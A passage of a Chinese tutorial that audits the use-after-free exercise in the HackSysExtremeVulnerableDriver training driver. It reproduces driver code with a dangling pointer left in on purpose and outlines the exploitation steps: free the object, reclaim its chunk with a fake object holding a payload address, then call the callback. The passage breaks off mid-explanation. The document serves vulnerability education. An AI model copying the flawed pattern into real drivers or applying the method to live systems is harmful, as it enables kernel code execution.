在IRP中，包含了I/O请求的类型（读、写、控制等）、请求的数据缓冲区、请求的长度、请求的状态等信息，驱动程序收到IRP后，解析其中的请求信息，并执行相应的操作，然后把执行结果填充到IRP中，并把IRP返回给操作系统,操作系统再根据返回的结果对用户程序做出响应；
当一个驱动程序提供某种服务时，用户空间的应用程序可能需要与该驱动程序进行通信，
IOCTL (Input/Output Control) 是一种机制，允许用户空间的应用程序通过发送特定的控制代码来请求驱动程序执行某些操作。驱动程序可以解释这些控制代码，并根据控制代码来执行相应的操作，这些操作可能会更改设备状态，返回设备数据等。在驱动程序中实现 IOCTL 通常需要编写 IOCTL 处理程序，以便解释控制代码并执行相应的操作。
[前言]
了解一些win内核的基础知识以后，我将带大家开始无痛阅读代码（代码审计），这篇文章借助的是HackSysExtremeVulnerableDriver 中的
Use-After-Free 漏洞练习项目，
项目地址：<https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.c>
这篇文章最终会带你进入一个从代码审计到漏洞利用的旅程。
[Non-Paged Pool UaF]
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
//将驱动对象(DriverObject)的MajorFunction成员中的IRP_MJ_DEVICE_CONTROL函数指针设置为IrpDeviceIoCtlHandler函数。这样做是为了使驱动程序能够接收设备控制IRP并调用IrpDeviceIoCtlHandler函数来处理它们。
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
//定义了一个名为IrpDeviceIoCtlHandler的函数，它接受两个输入参数：一个指向设备对象(DeviceObject)的指针和一个指向IRP的指针(Irp)，并返回一个NTSTATUS类型的值。
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
//IoControlCode表示设备I/O控制码，IrpSp表示IRP的当前栈位置指针，Status表示函数的返回状态。
UNREFERENCED_PARAMETER(DeviceObject); //宏，用于告诉编译器不使用这个参数。由于IrpDeviceIoCtlHandler函数没有使用DeviceObject参数，因此使用此宏可以避免编译器警告。
PAGED_CODE(); //宏，用于将函数标记为在分页池中执行，以便驱动程序符合Windows的内存管理规则。
IrpSp = IoGetCurrentIrpStackLocation(Irp); //使用IoGetCurrentIrpStackLocation函数获取IRP的当前栈位置，并将指针存储在IrpSp变量中。
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; //从IRP栈位置中获取设备I/O控制码，该码存储在IrpSp的Parameters.DeviceIoControl.IoControlCode成员中，并将其赋值给IoControlCode变量。
if (IrpSp) { //检查IrpSp指针是否为空，以确保IrpSp已正确设置。
switch (IoControlCode) { //使用IoControlCode变量的值来确定要执行的代码路径。
case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: //switch语句的第一个分支，其中HACKSYS_EVD_IOCTL_STACK_OVERFLOW是设备I/O控制码的一个值。如果IoControlCode等于HACKSYS_EVD_IOCTL_STACK_OVERFLOW，则执行该分支的代码。
DbgPrint("****** message ******\n");
Status = StackOverflowIoctlHandler(Irp, IrpSp); //调用StackOverflowIoctlHandler函数来处理IRP
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS://switch语句的第二个分支，其中HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS是另一个设备I/O控制码的值。如果IoControlCode等于HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS，则执行该分支的代码。
DbgPrint("****** message ******\n");
Status = StackOverflowGSIoctlHandler(Irp, IrpSp);//调用StackOverflowGSIoctlHandler函数来处理IRP
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = AllocateUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_USE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = UseUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = FreeUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT:
DbgPrint("****** message ******\n");
Status = AllocateFakeObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
//实际上这部分代码中，使用了switch-case语句是用于处理不同类型的IO控制码（IOCTL），前面提到过IOCTL是一种通用的机制，用于驱动程序与应用程序之间进行通信。在Windows内核中，驱动程序通常实现了多个不同的IOCTL处理程序，以响应应用程序对不同功能的请求。每个IOCTL都有一个唯一的控制码，通常定义在驱动程序的头文件中。switch-case语句根据接收到的IOCTL控制码，调用相应的IOCTL处理程序。例如，当IOCTL控制码为HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT时，调用AllocateUaFObjectIoctlHandler函数，用于处理分配User-After-Free对象的请求；当IOCTL控制码为HACKSYS_EVD_IOCTL_USE_UAF_OBJECT时，调用UseUaFObjectIoctlHandler函数，用于处理使用User-After-Free对象的请求；当IOCTL控制码为HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT时，调用FreeUaFObjectIoctlHandler函数，用于处理释放User-After-Free对象的请求；当IOCTL控制码为HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT时，调用AllocateFakeObjectIoctlHandler函数，用于处理分配Fake对象的请求，并且每个case语句都会输出一个调试信息，以便在驱动程序运行时查看调试信息。
Let's Start UAF
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
// 定义一个指向PUSE_AFTER_FREE类型的全局指针g_UseAfterFreeObject，并将其初始化为NULL。
NTSTATUS AllocateUaFObject() { // 定义一个名为AllocateUaFObject的函数，返回值为NTSTATUS类型。
NTSTATUS Status = STATUS_SUCCESS; // 定义并初始化Status变量为STATUS_SUCCESS
PUSE_AFTER_FREE UseAfterFree = NULL; // 定义一个指向PUSE_AFTER_FREE类型的指针UseAfterFree，并将其初始化为NULL。
PAGED_CODE(); // PAGED_CODE宏用于将函数标记为在分页池中执行，以便驱动程序符合Windows的内存管理规则。
__try { // 定义一个异常处理块。
DbgPrint("[+] Allocating UaF Object\n");
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
sizeof(USE_AFTER_FREE),
(ULONG)POOL_TAG);
//这行代码是在从内核的NonPagedPool中分配一个新的内存块并将其指针赋值给指针变量 UseAfterFree。这里使用了ExAllocatePoolWithTag 函数，它接受三个参数，分别是：要分配的内存池类型，要分配的内存块大小，以及与该内存块关联的标签。这里要注意的是，我们使用强制类型转换将函数返回的 void * 指针转换为我们定义的 PUSE_AFTER_FREE 指针类型，这是因为该函数返回一个通用的 void * 指针，而我们需要将其转换为特定的类型，以便我们可以在之后的代码中访问它的成员。
//Non-Paged Pool是一块用于存储内核数据结构和代码的非分页内存区域，它与Paged Pool不同，Non-Paged Pool不允许操作系统将其页面交换到磁盘上，这意味着，即使在系统内存紧张时，Non-Paged Pool中的内存仍将始终保持在物理内存中，因此适用于那些需要持久存储的数据结构和代码；
//Non-Paged Pool用于存储那些不希望出现在磁盘上的内核数据结构和代码，例如，中断服务例程和驱动程序中的全局变量。相比之下，Paged Pool适用于那些较大的数据结构，例如文件系统缓存、文件对象和内存映射等等，因为Paged Pool允许操作系统将其页面交换到磁盘上，因此可以通过调度页回收机制，获得更多的物理内存空间。
//分页池和非分页池都是Windows内核提供的两种内存池，它们有以下不同点：
//分页池（Paged Pool）：也称为虚拟池，用于分配用于页面交换的物理内存页面，当内存不足时，可以将某些页面移动到磁盘上，因此可以使内核保持更多的物理内存空间。分页池在Windows内核中是很常见的，比如内存分配、进程和线程管理等都使用分页池。分页池是有限的，分配的内存大小受到可用物理内存和分页文件大小的限制，分页池还可以分为paged和non-paged两种。
//非分页池（NonPaged Pool）：也称为实际池，是一个内存池，它用于分配永久性的内核对象和数据结构，这些对象和数据结构必须一直存在于内存中，并且不能被分页。非分页池分配的内存是固定的，并且永久性的，因此分配内存时不需要考虑分页文件大小或者可用内存大小的限制，这也使得非分页池的内存访问速度比分页池更快。非分页池通常用于内核数据结构和驱动程序的存储。
//可以简单理解成，分页池用于分配可分页的内存，而非分页池用于分配不可分页的内存，它们各自有自己的用途和优缺点，在编写Windows驱动程序时，需要选择合适的内存池以适应不同的内存分配需求。
//分页（paging）是一种操作系统内存管理技术，它将物理内存分成大小相等的块，称为页面（page）。同样，虚拟内存也被划分成相同大小的页面。进程的虚拟内存空间中的每个页面都映射到物理内存中的一个页面。当进程访问虚拟内存时，系统会将相关的物理内存页面加载到内存中，以便进程可以访问它们。这个过程被称为页面调度（paging in）。
//分页技术使得多个进程可以共享同一个物理内存，也可以在物理内存不足的情况下，使用磁盘上的虚拟内存来扩展可用的地址空间。
//POOL_TAG 是一个用于标识内存池分配的标记（tag），可以用于在内存泄漏和内存分配问题排查中标识和跟踪内存池分配和释放的情况。当你在分配内存池时，可以指定一个 POOL_TAG 来标识这个内存块，当你需要释放这个内存块时，也要使用同样的 POOL_TAG。在 Windows 内核中，通常使用四个字节的字符串作为 POOL_TAG，例如 'MyTg'，来标识内存池中的内存块，
//例如，可以使用以下方式定义POOL_TAG宏：
//---------------------------- //#define POOL_TAG 'MyTg'
//---------------------------- //在分配内存池时，该标签可以作为一个参数传递给相关的函数，以便跟踪哪些内存池分配被执行了。
//POOL_TAG和PAGED_CODE都是宏定义，但它们的作用和使用场景不同：
//POOL_TAG是用于标识分配内存块的标记，主要用于在调试和分析中区分内存块的来源和用途。它的值通常是一个四个字符的字符串，例如 'MyTg'。开发人员可以根据需要自定义POOL_TAG，但是需要保证它是唯一的，并且不会与其他代码中使用的POOL_TAG冲突;
//PAGED_CODE则是一个宏定义，用于标记代码是否是在分页池中执行。当使用PAGED_CODE时，编译器将生成一个特殊的代码序列，用于确保代码仅在操作系统可分页的代码段中运行，这有助于提高操作系统的性能和稳定性;
//因此，POOL_TAG主要用于标记内存块的来源和用途，而PAGED_CODE主要用于确保代码的执行位置和环境。
//ULONG是无符号长整型，它是C语言中的一种数据类型，通常占据4个字节（32位），而POOL_TAG是一个4个字节（32位）的标识符，因此定义其数据类型为ULONG是很自然的选择。ULONG是unsigned long的缩写，它可以表示的数据范围是0到4294967295，即可以存储0和正整数。在Windows操作系统中，ULONG通常用于表示无符号整数或标识符。
if (!UseAfterFree) {
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
// 如果无法分配内存池块，则打印一条错误消息，将Status设置为STATUS_NO_MEMORY并返回。
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
// 成功分配内存池块后，打印调试信息，显示内存池块的标记、类型、大小和地址。
}
// 用字符'A'填充缓冲区。
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
// 将字符缓冲区以'\0'字符结尾。
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
// 设置对象回调函数。
UseAfterFree->Callback = &UaFObjectCallback;
// 将UseAfterFree指针的地址赋值给全局变量g_UseAfterFreeObject。
g_UseAfterFreeObject = UseAfterFree;
// 打印一条调试消息，显示UseAfterFree和g_UseAfterFreeObject的地址和回调函数的地址。
DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
// 处理异常，打印异常代码。
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
// 返回Status。
综上可以了解这段代码定义了一个全局变量 g_UseAfterFreeObject，用于存储UseAfterFree对象的地址，初始值为 NULL；
AllocateUaFObject 函数用于分配一个 UseAfterFree 对象，并且它先定义了一个局部变量
UseAfterFree，并初始化为NULL，然后再通过调用ExAllocatePoolWithTag函数来分配一块大小为
sizeof(USE_AFTER_FREE)的NonPagedPool内存，并分配一个POOL_TAG作为该内存块的标识；
如果分配成功，则会将该内存块的地址赋值给 UseAfterFree 变量，并打印一些调试信息，之后使用 RtlFillMemory 函数将内存块填充为
0x41（即 'A' 字符），并使用空字符 '\0' 结尾，然后设置该对象的回调函数为 UaFObjectCallback;
最后，将UseAfterFree的地址赋值给全局变量g_UseAfterFreeObject，并打印调试信息，函数返回STATUS_SUCCESS;
这段代码中导致UAF漏洞的问题之一是当在函数 AllocateUaFObject()中执行
ExAllocatePoolWithTag()分配内存时，将内存块地址赋值给UseAfterFree变量，然后将
UseAfterFree的地址赋值给全局变量g_UseAfterFreeObject,这表示 g_UseAfterFreeObject
现在指向了这个动态分配的内存块;
在函数执行结束时，UseAfterFree 指针将超出范围并且不再有效，但g_UseAfterFreeObject
指针仍将指向该内存块，因为它是全局变量，并且其生命周期是整个程序的运行时间。如果在 AllocateUaFObject() 函数返回后尝试使用指向
g_UseAfterFreeObject 指针的引用，就可能访问已释放的内存，从而导致 Use-After-Free（UAF）漏洞的发生，如图：
UseAfterFree指针不再有效
|
v
AllocateUaFObject() -> UseAfterFree -- > [ 已释放的内存块 ] <\- g_UseAfterFreeObject
^
|
全局变量指针仍然指向该内存块
代码示例：
//
g_UseAfterFreeObject是全局变量，在AllocateUaFObject()中分配了一个内存块并将其地址赋值给g_UseAfterFreeObject
// 在AllocateUaFObject()返回后，尝试使用指向g_UseAfterFreeObject的引用
if (g_UseAfterFreeObject != NULL) {
DbgPrint("[+] Buffer Content: %s\n", g_UseAfterFreeObject->Buffer); // 这里会引发UAF漏洞，访问已释放的内存块
}
接下来再来看两个头文件：
// UseAfterFree.h
// 定义了结构体类型 _USE_AFTER_FREE
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback; // 回调函数指针
CHAR Buffer[0x54]; // 定义了一个字符数组Buffer，有0x54（十进制值为84）个元素
} USE_AFTER_FREE, _PUSE_AFTER_FREE;
//定义了一个结构体变量USE_AFTER_FREE和一个指向该结构体的指针类型PUSE_AFTER_FREE
typedef struct _FAKE_OBJECT { //定义了另一个结构体类型_FAKE_OBJECT
CHAR Buffer[0x58]; // 定义了一个字符数组Buffer，有0x58（十进制值为88）个元素
} FAKE_OBJECT, _PFAKE_OBJECT;
//定义了一个结构体变量FAKE_OBJECT和一个指向该结构体的指针类型PFAKE_OBJECT
// Common.h
typedef void (*FunctionPointer)();
//定义了一个函数指针类型为FunctionPointer，指向一个返回void类型的函数
然后我们看这一段代码：
NTSTATUS UseUaFObject() { //定义函数 UseUaFObject 并将其返回值设为 NTSTATUS 类型
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
//定义一个 NTSTATUS 类型的变量 Status 并将其初始化为 STATUS_UNSUCCESSFUL，如前面所说PAGED_CODE() 是一个封装的宏，用于在代码中标识分页代码，它会在代码中插入分页代码断言(paged-code assertion)，分页代码断言用于在分页的上下文中发现不合适的代码行为，从而运行时检查出与内存管理相关的错误
__try { //开始一个__try代码块，用于捕获可能发生的异常
if (g_UseAfterFreeObject) { //开始一个__try代码块，用于捕获可能发生的异常。
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
//打印有关 UseAfterFreeObject 和回调函数的相关信息
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
} //如果g_UseAfterFreeObject->Callback函数指针不为空，则调用它
Status = STATUS_SUCCESS; //将Status设置为STATUS_SUCCESS，表示成功调用了回调函数
}
} //__try代码块结束
__except (EXCEPTION_EXECUTE_HANDLER) { //开始一个__except代码块，用于处理在__try代码块中捕获到的异常
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
//获取异常代码并打印
}
//__except代码块结束
return Status; //返回Status值
}
首先要看得出来这一段代码使用了 **try 和** except 块， **try 块用于尝试执行一些可能引发异常的代码；然后在此处，我们主要是调用
g_UseAfterFreeObject 所保存的回调函数，如果我们成功调用了回调函数，就将 Status 设置为
STATUS_SUCCESS，如果发生异常，** except 块将处理该异常，将异常代码存储在 Status
变量中，并打印相应的错误信息；最后，该函数返回 Status 变量的值，这个值可能是 STATUS_UNSUCCESSFUL 或
STATUS_SUCCESS。
1. 检查 g_UseAfterFreeObject 是否存在
|
|--- 存在
| |
| 2. 打印相关信息
| |
| 3. 调用 g_UseAfterFreeObject->Callback()
| |
| 4. 设置 Status 为 STATUS_SUCCESS
|
|--- 不存在
|
5. 返回 STATUS_UNSUCCESSFUL
什么是回调函数，回调函数是一种编程模式，它允许将一个函数作为参数传递给另一个函数。当需要执行某个任务时，传递给另一个函数的函数就被调用,回调函数通常在异步编程、事件驱动编程和自定义操作中使用。
让我们通过一个简单的C语言示例来理解回调函数：
# include <stdio.h>
typedef void (*CallbackFunction)(int);
//定义了一个名为CallbackFunction的函数指针类型，该类型的函数接受一个int类型的参数，并返回void。
void printNumber(int number) {
printf("Number: %d\n", number);
} //定义了一个示例回调函数printNumber，它接受一个int类型的参数number并打印它。
void executeCallback(CallbackFunction callback, int number) {
callback(number);
}
//定义了一个名为executeCallback的函数，它接受一个CallbackFunction类型的回调函数作为参数和一个int类型的参数number。此函数通过调用传入的回调函数并将number作为参数执行任务。
int main() {
executeCallback(printNumber, 42);
//调用executeCallback函数，并将printNumber回调函数和整数42作为参数传递。
return 0;
}
1. 调用 executeCallback 函数
|
|--- 传入 printNumber 回调函数 和 整数 42
| |
| 2. 在 executeCallback 函数内部
| |
| 3. 调用回调函数 printNumber(42)
| |
| 4. 输出 "Number: 42"
在这个示例中，我们将printNumber函数作为回调函数传递给executeCallback函数，这允许executeCallback函数在执行时调用printNumber函数来完成任务。
再讲一下分页代码断言，分页代码断言（paged-code assertion）是一个运行时检查机制，用于检测 Windows
内核中发生的与内存管理相关的错误。在代码中插入分页代码断言后，会在执行分页操作时检查代码的正确性，如果检查发现代码行为不合适，分页代码断言会停止系统，并显示一个错误消息，指出发生异常的代码行。具体来说，分页代码断言会验证以下情况：
在非分页代码中执行了分页代码；
在分页代码中使用了不能在分页代码中访问的地址空间；
分页代码中修改了不应修改的数据结构等等。
大致能明白通过插入分页代码断言，可以帮助开发人员找出代码中的内存管理错误，并提供足够的信息来检测和修复这些错误即可。
ps：到这里能直接看明白代码的逻辑以后，恭喜你有了基本的通读代码能力，让我们梳理一下
我们可以看到UseUaFObject函数的主要工作就是检查Callback函数指针是否有效，如果有效，就调用它指向的函数,那么，我们是否可以将函数指针Callback替换为我们自己的函数呢？
在实现这个问题之前，我们先简要了解一下什么是UAF漏洞：
释放后重用（Use After Free）漏洞发生在程序对内存的管理上出现错误，
假设你有一个房子（对象），这个房子有一个门牌号（内存地址），这个房子有一个钥匙（指针），用来访问它。当你不再需要这个房子时，你把它拆除（释放内存），以便在这个地方建造新的建筑（在程序的其他地方重用内存）。然而，由于某种原因，你没有彻底销毁房子的钥匙（悬空指针）。
过了一段时间，你或其他人想再次访问这个房子，但房子已经不存在了，这个地方可能已经建了一个新的建筑。如果你试图使用钥匙（悬空指针）再次访问原来的房子，你实际上是在访问新建筑（不同的数据已写入原内存位置）。
在这个过程中，如果有人恶意篡改了新建筑（将恶意数据写入原内存位置），你可能会在访问新建筑时遇到问题，因为你原本期望访问的是原来的房子（原始数据），而现在你却访问了新建筑（被篡改的数据），这可能会导致程序错误甚至安全漏洞。
简而言之，释放后重用漏洞是由于程序在释放内存后仍然使用原来的指针（悬空指针）引起的，这可能导致程序访问已被释放的内存，而这些内存可能已经被其他数据覆盖。这种情况下，程序可能会处理不正确的数据，导致不可预知的行为或安全问题。
// UseAfterFree.c
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL; // 初始化状态为不成功
PAGED_CODE(); // 用于分页内存的宏
__try {
if (g_UseAfterFreeObject) { // 如果 g_UseAfterFreeObject 不为空
DbgPrint("[+] Freeing UaF Object\n"); // 打印释放 UaF 对象的消息
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); // 打印内存池标签
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject); // 打印内存池块地址
# ifdef SECURE
//判断代码块中的 "ifdef" 宏，这里判断是否含有"SECURE"宏，如果有，则释放完内存后将"g_UseAfterFreeObject"的值置为"NULL"，否则不设置
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
//这行代码是用于释放内存的,它释放由 g_UseAfterFreeObject 指向的内存，并使用内存池标签 POOL_TAG 进行标记，在这个例子中，我们释放之前分配给 g_UseAfterFreeObject 对象的内存；
//ExFreePoolWithTag：这是一个 Windows 内核函数，用于释放先前分配的内存池中的内存
//(PVOID)g_UseAfterFreeObject：这是一个指向要释放的内存区域的指针，即 UAF 对象的内存地址 //(ULONG)POOL_TAG：这是分配给内存池中的内存的标签，在分配和释放内存时，标签有助于识别和跟踪内存
g_UseAfterFreeObject = NULL;
# else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
# endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) { //获取异常代码并打印
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这段代码中的函数 FreeUaFObject 的主要目的是释放一个名为 g_UseAfterFreeObject
的全局变量指向的内存。在尝试释放这块内存之前，会检查 g_UseAfterFreeObject 是否为 NULL。在安全版本中，释放内存后，将
g_UseAfterFreeObject 设置为 NULL，以避免释放后重用漏洞。在非安全版本中，g_UseAfterFreeObject 未设置为
NULL，导致悬空指针，从而引发释放后重用漏洞。
1 ├── 定义函数 "FreeUaFObject" ， 它会返回一个 "NTSTATUS" 类型的值
2 │
3 ├── 将变量 "Status" 初始化成 "STATUS_UNSUCCESSFUL"
4 │
5 ├── 使用 "PAGED_CODE" 宏，在 Windows 操作系统内核中检查代码是否仅在分页代码下运行
6 │
7 ├── 进入 "try-except" 代码块
8 │ ├── 如果全局变量"g_UseAfterFreeObject" 非空
9 │ │ ├── 输出一系列提示信息
10 │ │ ├── 判断代码块中是否有 "SECURE" 宏
11 │ │ │ └── 若有，释放内存后将"g_UseAfterFreeObject"的值置为 "NULL"
12 │ │ └── 使用 "ExFreePoolWithTag" 函数释放内存空间，需要指定内存块的标识符 "POOL_TAG"
13 │ │
14 │ ├── 如果全局变量"g_UseAfterFreeObject" 为空，程序将不会执行任何操作
15 │ │
16 │ └── 根据程序的执行结果，将 "Status" 赋值成适当的 "NTSTATUS" 值
17 │
18 ├── 异常处理代码
19 │ └── 在 "try" 代码中出现异常时，记录异常代码并输出异常信息
20 │
21 └── 返回 "Status" 变量，表示程序执行状态
所以漏洞利用的思路是：
1.分配 UAF 对象
2.释放 UAF 对象
3.以某种方式替换刚刚分配 UAF 对象的精确内存地址处的函数指针
4.使用 UAF 对象
那么我们需要思考的是，在 UAF 对象释放后，使用什么来替换目标内存地址处的 UAF 对象？
UseAfterFree.c 中还包含了一个分配“fake object”的函数，继续看代码
// UseAfterFree.c
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
// 定义一个函数 AllocateFakeObject，接收一个 UserFakeObject 参数，该参数是一个指向 FAKE_OBJECT 结构的指针。
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT KernelFakeObject = NULL;
// 创建两个变量：Status 用于存储函数执行的状态，初始值为成功；
//KernelFakeObject 是一个指向 FAKE_OBJECT 结构的指针，初始值为 NULL。
PAGED_CODE(); // 确保当前代码在可分页的内存区域中
__try { //开始一个异常处理块
DbgPrint("[+] Creating Fake Object\n"); //输出一条调试信息，表示正在创建 FakeObject
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
//为FakeObject分配内存空间，ExAllocatePoolWithTag 函数从内核内存池中分配大小为 sizeof(FAKE_OBJECT) 的内存，内存类型为 NonPagedPool，并使用 POOL_TAG 标签
if (!KernelFakeObject) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
} // 检查分配是否成功: 如果 KernelFakeObject 仍为 NULL，则输出错误信息并将状态设置为内存不足，然后返回状态
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
} // 分配成功则输出相关信息
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
// 调用 ProbeForRead 函数，检查 UserFakeObject 指向的内存区域是否位于用户模式且可读
//ProbeForRead 是一个用于检查内存区域是否可以安全访问的内核函数, 它验证了用户模式的指针是否指向可以从内核模式读取的内存区域, 这么做是为了进行安全检查，以防止潜在的安全问题和崩溃。
//ProbeForRead 函数接收以下三个参数：
//(PVOID)UserFakeObject：要检查的内存区域的起始地址, 在这里，我们检查由 UserFakeObject 指针指向的内存区域。
//sizeof(FAKE_OBJECT)：要检查的内存区域的大小, 因为我们需要读取整个 FAKE_OBJECT 结构，所以使用 sizeof(FAKE_OBJECT) 来获取其大小。
//(ULONG)__alignof(FAKE_OBJECT)：内存区域的对齐要求, __alignof 是一个编译器内置函数，用于获取指定类型的对齐要求, 所以这里，我们获取 FAKE_OBJECT 类型的对齐要求，确保内存区域满足这一要求。
//如果 ProbeForRead 函数成功执行，说明 UserFakeObject 指向的内存区域是可以从内核模式安全读取的, 即在后续的操作中，我们可以将用户空间的 UserFakeObject 数据安全地复制到内核空间的 KernelFakeObject; 如果 ProbeForRead 检测到问题，它将引发一个异常，异常会被 __except 块捕获并处理。
RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
//使用 RtlCopyMemory 函数将用户传入的伪造结构(UserFakeObject)复制到内核空间的 FakeObject (KernelFakeObject), 我们传递了三个参数给 RtlCopyMemory 函数：
//(PVOID)KernelFakeObject：目标地址，即内核空间中的 KernelFakeObject 指针;
//(PVOID)UserFakeObject：源地址，即用户空间中的 UserFakeObject 指针;
//sizeof(FAKE_OBJECT)：要复制的字节数，这里是 FAKE_OBJECT 结构的大小;
//RtlCopyMemory 函数在内核中执行内存复制操作，从源地址（UserFakeObject）开始复制 sizeof(FAKE_OBJECT) 字节的数据到目标地址（KernelFakeObject）, 这样，我们就将用户空间中的 FakeObject 安全地复制到了内核空间,通过这种方式，我们确保了内核空间中的 FakeObject 与用户传入的伪造结构具有相同的数据。
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
//这一行代码将 KernelFakeObject 中的 Buffer 数组的最后一个字符设置为 '\0'（空字符），确保字符串在内存中以空字符结尾。
//KernelFakeObject->Buffer：访问 KernelFakeObject 结构中的 Buffer 成员，这是一个字符数组;
//sizeof(KernelFakeObject->Buffer)：使用 sizeof 运算符计算 Buffer 数组的大小（以字节为单位）, 这将给出数组的总长度;
//sizeof(KernelFakeObject->Buffer) - 1：将数组长度减 1，以获得数组中最后一个元素的索引, 因为数组索引是从 0 开始的，所以需要减 1;
//KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';：将数组的最后一个元素设置为空字符（'\0'）,这样一来，Buffer 就成了一个空终止字符串，防止了潜在的字符串溢出错误;
//通过在 KernelFakeObject 的 Buffer 数组末尾添加空字符，我们确保了在处理该字符串时不会超出其实际长度，从而提高了程序的安全性和稳定性。
DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
//输出一条调试信息，显示已创建的 FakeObject KernelFakeObject 在内核空间中的地址
}
__except (EXCEPTION_EXECUTE_HANDLER) { //输出异常
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
FakeObject 的大小与 UseAfterFreeObject
相同，它包含一个0x58大小的缓冲区，也就是说我们只需填充缓冲区的前4个字节，将其设置为一个地址，最终这个地址会被解释为一个函数指针。
为了实现UaF漏洞利用，需要在释放 UseAfterFreeObject 之后创建一个 FakeObject ，因为 UseAfterFreeObject
和 FakeObject 大小相同，它们可以占据相同的内存空间;
当 UseAfterFreeObject 被释放后， FakeObject 可以占据其内存空间，使得当再次使用 UseAfterFreeObject
时，实际上使用的是 FakeObject 。
在这个例子中，我们会将 FakeObject 的首个DWORD（前4个字节）被设置为恶意代码（payload）的地址(函数指针)，用 FakeObject
占据原先的内存空间, 当 UseAfterFreeObject 再次被使用时，实际上操作的是 FakeObject ，而 FakeObject
